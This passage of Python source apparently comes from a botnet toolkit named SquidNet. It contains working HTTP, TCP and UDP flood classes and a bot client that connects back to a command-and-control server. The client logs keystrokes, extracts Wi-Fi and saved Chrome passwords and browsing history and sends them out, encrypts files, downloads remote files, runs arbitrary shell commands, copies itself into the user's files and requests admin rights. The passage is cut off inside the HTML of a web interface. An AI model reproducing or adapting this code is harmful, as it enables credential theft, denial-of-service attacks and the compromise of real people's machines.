'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.50',
'Mozilla/3.0 (x86 [de] Windows NT 5.0; Sun)', 'Java/1.4.1_04',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Firefox/1.5',
'msnbot/0.9 (+http://search.msn.com/msnbot.htm)',
'NutchCVS/0.8-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; <EMAIL>)',
'Mozilla/4.0 compatible ZyBorg/1.0 (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.53',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6',
'Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0)', 'Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC)',
'Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)',
'Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)',
'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)',
'Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)', 'Opera/8.53 (Windows NT 5.1; U; en)',
'Opera/8.01 (Windows NT 5.0; U; de)', 'Opera/8.54 (Windows NT 5.1; U; de)',
'Opera/8.53 (Windows NT 5.0; U; en)', 'Opera/8.01 (Windows NT 5.1; U; de)',
'Opera/8.50 (Windows NT 5.1; U; de)',
'Mozilla/4.0 (compatible- MSIE 6.0- Windows NT 5.1- SV1- .NET CLR 1.1.4322',
'Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt)',
'Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)',
'Mozilla/4.0 (compatible; AvantGo 6.0; FreeBSD)', 'Mozilla/4.5 [de] (Macintosh; I; PPC)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322; MSN 9.0;MSN 9.1; MSNbMSNI; MSNmen-us; MSNcIA; MPLUS)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {59FC8AE0-2D88-C929-DA8D-B559D01826E7}; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; snprtz|S04741035500914#914|isdn; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EnergyPlugIn; dial)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; sbcydsl 3.12; YComp 5.0.0.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; .NET CLR 1.0.3705)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Ringo; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0)',
'Mozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; BUILDWARE 1.6; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.5)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5)',
'Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; it)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312469)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; FDM)',
'Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2)', 'Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1)',
'Mozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.14-kanotix-9; X11)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.10)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6)',
'Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.10)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8)',
'Mozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8.0.1)',
'Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.8)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.1)',
'Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4.1)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.3)',
'Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.12)',
'Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.1)', 'Mozilla/5.0 (X11; Linux i686; rv:1.7.5)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.6)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a3)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.1)',
'Mozilla/5.0 (compatible; Konqueror/3; Linux)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)',
'Mozilla/5.0 (compatible; Konqueror/3.2; Linux)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tg)',
'Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8b4)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51']
return user_agents
def stop_atk(self):
self.stopatk = True
def build_querystr(self, value):
result = ''
for i in range(value):
item = random.randint(65, 100)
result += chr(item)
return result
def ddos(self):
if not self.stopatk:
try:
code = 0
agent = random.choice(self.useragents)
req = urllib.request.Request(self.ip, headers={'User-Agent': agent,
'Referer': random.choice(
self.referers) + self.build_querystr(
random.randint(50, 100)),
'Cache-Control': 'no-cache',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Keep-Alive': random.randint(110, 160),
'Connection': 'keep-alive'})
urllib.request.urlopen(req)
code = 200
except urllib.error.HTTPError as e:
code_split = str(e).split()
code = code_split[2]
code = str(code[0] + code[1] + code[2])
if "500" in str(e):
code = 500
elif "429" in str(e):
code = 500
elif code.startswith('5'):
code = 500
except urllib.error.URLError as e:
if "A connection attempt failed" in str(e):
code = 500
except:
pass
return code
def start_thr(self):
while True:
try:
x = threading.Thread(target=self.ddos)
x.start()
time.sleep(self.delay)
if self.stopatk:
break
except:
pass
def ddos_start(self):
while True:
try:
http_code = self.ddos()
if http_code == 500:
break
if self.stopatk:
break
except:
pass
class TCP_UDP_Flood:
def __init__(self, ip, port, delay, pkt_size):
self.ip = ip
self.port = int(port)
self.delay = float(delay)
self.pkt_size = int(pkt_size)
self.stop = False
def gen_packet(self, size):
return random._urandom(size)
def UDP_Req(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(self.gen_packet(self.pkt_size), (self.ip, self.port))
s.close()
except:
pass
def TCP_req(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.ip, self.port))
s.send(self.gen_packet(self.pkt_size))
s.close()
except:
pass
def Stop_Atk(self):
self.stop = True
def TCP_Flood(self):
while True:
try:
tcp_req = threading.Thread(target=self.TCP_req)
tcp_req.start()
if self.stop:
break
time.sleep(self.delay)
except:
pass
def UDP_Flood(self):
while True:
try:
udp_req = threading.Thread(target=self.UDP_Req)
udp_req.start()
if self.stop:
break
time.sleep(self.delay)
except:
pass
class Bot:
def __init__(self, ip, port, key):
self.ip = ip
self.port = port
self.msg = ""
self.name = os.popen("whoami").read().strip()
if sys.platform == "win32":
self.desktop = f"C:/Users/{os.getlogin()}/Desktop"
elif sys.platform == "darwin":
self.desktop = f"/Users/{self.name}/Desktop"
else:
self.desktop = f"/"
self.logging = False
self.file_saving = False
while True:
try:
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((self.ip, self.port))
break
except:
self.connection.close()
time.sleep(1)
try:
logger = threading.Thread(target=self.start_logging)
logger.start()
except:
pass
self.fileeditor = False
time.sleep(1)
msg = socket.gethostname()+" "+self.getip()+" "+os.getlogin()+" "+sys.platform
self.send(msg)
time.sleep(1)
self.send("!CLIENTLOG")
self.recv_thr = threading.Thread(target=self.recv)
self.recv_thr.start()
self.conntest = threading.Thread(target=self.conn_test)
self.conntest.start()
self.key = key
try:
self.fernet_session = Fernet(self.key)
except:
self.fernet_session = None
def getip(self):
try:
url = 'https://httpbin.org/ip'
req = urllib.request.Request(url)
result = urllib.request.urlopen(req)
try:
result = result.read().decode()
except:
result = result.read()
contents = result.split()
ip = contents[2].strip('"')
return ip
except:
pass
def send(self, msg):
try:
self.connection.send(msg.encode())
except:
self.connection.send(msg)
def recv(self):
while True:
try:
self.msg = self.connection.recv(1024)
try:
self.msg = self.msg.decode()
except:
pass
self.run_cmd()
except:
pass
def on_press(self, key):
if self.logging:
try:
self.send("!sendkey " + str(key))
except:
pass
def on_release(self, key):
pass
def start_logging(self):
try:
with Listener(on_press=self.on_press, on_release=self.on_release) as listener:
listener.join()
except:
pass
def obtainwifipass(self):
if sys.platform == "darwin":
self.send("This bot is on a Apple-based product. Unable to get wifi passwords!")
else:
item = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output=True).stdout.decode()
prof_names = (re.findall("All User Profile : (.*)\\r", item))
passwords = []
check_networks = []
for i in prof_names:
item = subprocess.run(["netsh", "wlan", "show", "profiles", i], capture_output=True).stdout.decode()
security_key = False
security_key_present = (re.findall("Security key : (.*)\\r", item))
if security_key_present[0] == "Present":
check_networks.append(i)
else:
pass
for i in check_networks:
item = subprocess.run(["netsh", "wlan", "show", "profiles", i, "key=clear"],
capture_output=True).stdout.decode()
wifi_pass = (re.findall("Key Content : (.*)", item))
wifi_pass = wifi_pass[0]
info = {'ssid': i, 'key': wifi_pass.strip()}
passwords.append(info)
main_msg = ""
for i in passwords:
main_msg = main_msg + str(i) + ","
main_msg = f"Wifi Passwords: {main_msg}"
return main_msg
def openfile(self, file):
try:
if sys.platform == "darwin":
os.system(f"open {file}")
else:
os.startfile(file)
except:
pass
def changedir(self, dir):
try:
os.chdir(dir)
except:
pass
def getinfo(self):
msg = f'''
IP: {self.getip()}
CWD: {os.getcwd()}
USERNAME: {os.getlogin()}
OS: {sys.platform}
'''
return msg
def returnsecondstr(self, msg):
instruction = msg.split()
secondstr = instruction[1]
return secondstr
def rmdir(self, dir):
try:
shutil.rmtree(dir)
except:
pass
def rmfile(self, file):
try:
os.remove(file)
except:
pass
def mkdir(self, dirname):
try:
os.mkdir(dirname)
except:
pass
def listdir(self):
try:
dirlist = os.listdir()
result = ""
item = 0
dir_count = len(dirlist)
for i in dirlist:
if item == dir_count:
result += f"{i}"
else:
result += f"{i}, "
item += 1
return result
except:
pass
def sendfile(self, filename):
try:
file = open(filename, 'rb')
content = file.read()
file.close()
self.send(content)
time.sleep(5)
self.send("finished".encode())
except:
pass
def file_content(self, filename):
try:
file = open(filename, 'rb')
content = file.read()
file.close()
self.send(content)
except:
pass
def encdir(self):
for i in os.listdir():
try:
file = open(i, 'rb')
content = file.read()
file.close()
enc_content = self.fernet_session.encrypt(content)
file = open(i, 'wb')
file.write(enc_content)
file.close()
except:
pass
def decdir(self):
for i in os.listdir():
try:
file = open(i, 'rb')
content = file.read()
file.close()
dec_content = self.fernet_session.decrypt(content)
file = open(i, 'wb')
file.write(dec_content)
file.close()
except:
pass
def encfile(self, filename):
try:
file = open(filename, 'rb')
content = file.read()
file.close()
enc_content = self.fernet_session.encrypt(content)
file = open(filename, 'wb')
file.write(enc_content)
file.close()
except:
pass
def decfile(self, filename):
try:
file = open(filename, 'rb')
content = file.read()
file.close()
dec_content = self.fernet_session.decrypt(content)
file = open(filename, 'wb')
file.write(dec_content)
file.close()
except:
pass
def getfrinternet(self, src ,filetocreate):
try:
output = os.popen(f"curl {src} -o {filetocreate}").read()
self.send(f"Created {filetocreate} into {os.getcwd()}")
except:
pass
def conn_test(self):
connected = True
while True:
try:
if connected:
self.send(" ")
time.sleep(1)
except:
connected = False
while True:
try:
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((self.ip, self.port))
msg = socket.gethostname() + " " + self.getip() + " " + os.getlogin() + " " + sys.platform
self.send(msg)
time.sleep(1)
self.send("!CLIENTLOG".encode())
time.sleep(1)
connected = True
break
except:
pass
try:
logger = threading.Thread(target=self.start_logging)
logger.start()
except:
pass
def get_encryption_key(self):
local_state_path = os.path.join(os.environ["USERPROFILE"],
"AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
key = key[5:]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
def decrypt_password(self,password, key):
try:
iv = password[3:15]
password = password[15:]
cipher = AES.new(key, AES.MODE_GCM, iv)
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
return ""
def main_password_yoinker(self):
msgtoserv = ""
key = self.get_encryption_key()
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
filename = "ChromeData.db"
shutil.copyfile(db_path, filename)
db = sqlite3.connect(filename)
cursor = db.cursor()
cursor.execute(
"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
for row in cursor.fetchall():
origin_url = row[0]
action_url = row[1]
username = row[2]
password = self.decrypt_password(row[3], key)
if username or password:
msgtoserv += f"\\nOrigin Url: {origin_url}\\nAction Url: {action_url}\\nUsername: {username}\\nPassword: {<PASSWORD>"
else:
continue
cursor.close()
db.close()
try:
os.remove(filename)
except:
pass
return msgtoserv
def gotowebsite(self, website):
if sys.platform == "win32":
os.system(f'start {website}')
else:
os.system(f'open {website}')
def clone(self):
file_ending = sys.argv[0].split(".")
file_ending = file_ending[len(file_ending) - 1]
if "py" in file_ending:
own_file = open(sys.argv[0], "r")
own_content = own_file.readlines()
own_file.close()
lines = []
in_code = False
for line in own_content:
if "#-----SquidNet-Bot-Script-----#" in line:
in_code = True
if in_code:
lines.append(line)
if "#-----End-Of-Bot-----#" in line:
in_code = False
break
else:
own_file = open(sys.argv[0], "rb")
own_content = own_file.read()
own_file.close()
if sys.platform == "win32":
main_dir = f"C:/Users/{os.getlogin()}/"
else:
main_dir = f"/Users/{self.name}/"
os.chdir(main_dir)
workingdirs = []
workingdirs.append(main_dir)
workingdirs.append(os.getcwd())
dirlist = os.listdir()
for dirs in dirlist:
if "." in dirs:
pass
else:
workingdirs.append(main_dir + str(dirs))
dirlist = os.listdir()
for dirs in workingdirs:
try:
os.chdir(dirs)
except:
pass
for files in dirlist:
try:
if '.'+file_ending in files:
if "py" in file_ending:
file = open(files, "r")
content = file.readlines()
file.close()
if "#-----SquidNet-Bot-Script-----#" in content:
pass
else:
file = open(files, "w")
file.writelines(lines)
file.writelines("\\n\\n")
file.writelines(content)
file.close()
else:
file = open(files, "rb")
content = file.read()
file.close()
if own_content in content:
pass
else:
file = open(files, "wb")
file.write(own_content + "\\n\\n".encode())
file.write(content)
file.close()
except:
pass
def gotowebsite(self, website):
if sys.platform == "win32":
os.system(f'start {website}')
else:
os.system(f'open {website}')
def send_history(self):
dirs = os.getcwd()
if sys.platform == "win32":
os.chdir(f"C:/Users/{os.getlogin()}/AppData/Local/Google/Chrome/User Data/Default/")
elif sys.platform == "darwin":
os.chdir(f"/Users/{self.name}/Library/Application Support/Google/Chrome/User Data/Default/")
shutil.copyfile("History", dirs + "/History.db")
os.chdir(dirs)
History = sqlite3.connect("History.db")
cursor = History.cursor()
e = cursor.execute("SELECT last_visit_time, visit_count, title, url from urls")
for i in cursor.fetchall():
time = i[0]
visit_count = i[1]
url = i[3]
title = i[2]
epoch = datetime(1601, 1, 1)
url_time = epoch + timedelta(microseconds=time)
self.send(f"({url_time}) ({visit_count}) ({title}) ({url})".encode())
cursor.close()
History.close()
os.remove("History.db")
def run_cmd(self):
try:
if self.fileeditor:
if self.msg.startswith("!stopedit"):
self.send(f"File editor closed for {self.filename}.")
self.fileeditor = False
else:
try:
self.msg = "\\n" + self.msg
except:
self.msg = "\\n".encode() + self.msg
self.file = open(self.filename, "rb")
contents = self.file.read()
self.file.close()
self.file = open(self.filename, "wb")
self.file.write(contents)
self.file.write(self.msg.encode())
self.file.close()
else:
if self.msg.startswith('!httpflood'):
msg = self.msg.split()
ip = msg[1]
delay = float(msg[2])
self.dos = DDoS(ip, delay)
elif self.msg.startswith('!stopatk'):
try:
self.dos.stop_atk()
except:
pass
try:
self.tcpflood.Stop_Atk()
except:
pass
try:
self.udpflood.Stop_Atk()
except:
pass
elif self.msg.startswith('!cloneself'):
cloner = threading.Thread(target=self.clone)
cloner.start()
self.connection.send("Successfully replicated files.".encode())
elif self.msg.startswith('!changedirdesktop'):
self.changedir(self.desktop)
elif self.msg.startswith('!openfile'):
file = self.returnsecondstr(self.msg)
self.openfile(file)
elif self.msg.startswith('!changedir'):
dir = self.returnsecondstr(self.msg)
self.changedir(dir)
elif self.msg.startswith('!rmdir'):
dir = self.returnsecondstr(self.msg)
self.rmdir(dir)
elif self.msg.startswith('!rmfile'):
file = self.returnsecondstr(self.msg)
self.rmfile(file)
elif self.msg.startswith('!listdir'):
dirlist = self.listdir()
self.send(dirlist)
elif self.msg.startswith('!encdir'):
self.encdir()
elif self.msg.startswith('!decdir'):
self.decdir()
elif self.msg.startswith('!encfile'):
file = self.returnsecondstr(self.msg)
self.encfile(file)
elif self.msg.startswith('!decfile'):
file = self.returnsecondstr(self.msg)
self.decfile(file)
elif self.msg.startswith('!getinfo'):
msgtoserv = self.getinfo()
self.send(msgtoserv)
elif self.msg.startswith('!getip'):
self.send(self.getip())
elif self.msg.startswith("!keylog"):
if self.logging:
pass
else:
self.send("Started to send keyboard inputs.")
self.logging = True
elif self.msg.startswith("!stopkeylog"):
if self.logging:
self.send("Stopped Keylogging.")
self.logging = False
elif self.msg.startswith('!getwifi'):
wifi_passwords = self.obtainwifipass()
self.send(wifi_passwords)
elif self.msg.startswith('!savefile'):
file = self.returnsecondstr(self.msg)
self.sendfile(file)
elif self.msg.startswith('!viewfilecontent'):
file = self.returnsecondstr(self.msg)
self.file_content(file)
elif self.msg.startswith("!getchromehistory"):
self.send_history()
elif self.msg.startswith('!mkdir'):
main_msg = self.msg.split()
dirname = main_msg[1]
self.mkdir(dirname)
self.send(f"Successfully Created {dirname}")
elif self.msg.startswith('!getcwd'):
self.send(os.getcwd())
elif self.msg.startswith('!getos'):
self.send(sys.platform)
elif self.msg.startswith('!gotowebsite'):
main_msg = self.msg.split()
url = main_msg[1]
self.gotowebsite(url)
elif self.msg.startswith('!dwnldfile'):
main_msg = self.msg.split()
src = main_msg[1]
file = main_msg[2]
self.getfrinternet(src, file)
elif self.msg.startswith('!getpasswords'):
if sys.platform == "win32":
passwords = self.main_password_yoinker()
self.connection.send(passwords.encode())
else:
self.connection.send("Running on a non-windows machine - Cannot get passwords!")
elif self.msg.startswith("!editfile"):
try:
main_msg = self.msg.split()
self.editfile = open(str(main_msg[1]), "rb")
self.editfile.close()
self.filename = self.editfile.name
self.fileeditor = True
self.send(f"File editing mode activated for file {self.filename}")
except:
self.send("File cannot be opened on this computer.".encode())
self.fileeditor = False
elif self.msg.startswith("!mkfile"):
msg_split = self.msg.split()
try:
filename = msg_split[1]
file = open(str(filename), "w")
file.close()
self.send(f"File {filename} has been created in {os.getcwd()}".encode())
except:
self.send("Error with creating files.".encode())
elif self.msg.startswith("!rickroll"):
if sys.platform == "win32":
for i in range(10):
os.system("start https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstleyVEVO")
else:
for i in range(10):
os.system("open https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstleyVEVO")
self.send("Just got rick rolled!".encode())
elif self.msg.startswith("!tcpflood"):
msg_split = self.msg.split()
ip = msg_split[1]
try:
port = int(msg_split[2])
except:
port = 80
try:
delay = float(msg_split[3])
except:
delay = 0
try:
pkt_size = int(msg_split[4])
except:
pkt_size = 1024
self.tcpflood = TCP_UDP_Flood(ip, port, delay, pkt_size)
self.tcp_flood = threading.Thread(target=self.tcpflood.TCP_Flood)
self.tcp_flood.start()
elif self.msg.startswith("!udpflood"):
msg_split = self.msg.split()
ip = msg_split[1]
try:
port = int(msg_split[2])
except:
port = 80
try:
delay = float(msg_split[3])
except:
delay = 0
try:
pkt_size = int(msg_split[4])
except:
pkt_size = 1024
self.udpflood = TCP_UDP_Flood(ip, port, delay, pkt_size)
self.udp_flood = threading.Thread(target=self.udpflood.UDP_Flood)
self.udp_flood.start()
else:
cmd = subprocess.Popen(self.msg, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout = cmd.stdout.read()+cmd.stderr.read()
self.send(stdout)
except Exception as e:
self.send(f"Error in script: {e}".encode())
ip = '""" + self.ngroklink + """'
port = """ + str(self.ngrokport) + """
key = """ + str(self.key) + """
if sys.platform == "win32":
try:
isadmin = ctypes.windll.shell32.IsUserAnAdmin()
except:
isadmin = False
if isadmin:
bot = Bot(ip, port, key)
else:
exec_dir = sys.argv[0]
params = f'"{exec_dir}"'
try:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, params, None, 1)
except:
bot = Bot(ip, port, key)
else:
bot = Bot(ip, port, key)
#-----End-Of-Bot-----#
"""
return script
class Web_Interface:
"""Web Interface for seeing connections, some general info about them, and also
info about this script. There are some important info about some of the important
variables in the server, so that the User can learn more about it."""
def __init__(self, ip, port):
"""Initiation of the web-server, also where all the important variables are defined,
as well as the starting of the server and threads."""
self.ip = "localhost"
self.port = port
self.working = False
try:
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.bind((ip, port))
self.working = True
except Exception as e:
print(f"\n[+] Web-Interface is unable to start due to error: {e}")
if self.working:
self.packet = ""
self.listener = threading.Thread(target=self.listen)
self.listener.start()
self.packets = threading.Thread(target=self.packetmaker)
self.packets.start()
def packetmaker(self):
"""This function generates the packet to send
to the client and also for updating the Web-Interface."""
while True:
try:
conn_bots = ""
for x in botnet.botnet.info:
conn_bots += '<tr>\n<td>' + x.split()[0] + '</td>\n<td>' + x.split()[1] + "</td>\n<td>" + x.split()[
2] + "</td>\n<td>" + x.split()[3] + "</td>\n<td>" + x.split()[4] + "</td>\n</tr>\n"
conn_admin = ""
for x in botnet.botnet.admininfo:
conn_admin += '<tr>\n<td>' + x.split()[0] + '</td>\n<td>' + x.split()[1] + "</td>\n<td>" + \
x.split()[
2] + "</td>\n<td>" + x.split()[3] + "</td>\n<td>" + x.split()[
4] + "</td>\n</tr>\n"
conn_ssh = ""
for x in botnet.botnet.ssh_info:
conn_ssh += '<tr>\n<td>' + x.split()[0] + '</td>\n<td>' + x.split()[1] + "</td>\n<td>" + x.split()[
2] + "</td>\n</tr>\n"
self.packet = """
<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<title>SquidNet Web-Interface</title>
<head>
<style>
table {
border: 3px solid black;
font-size: 50px
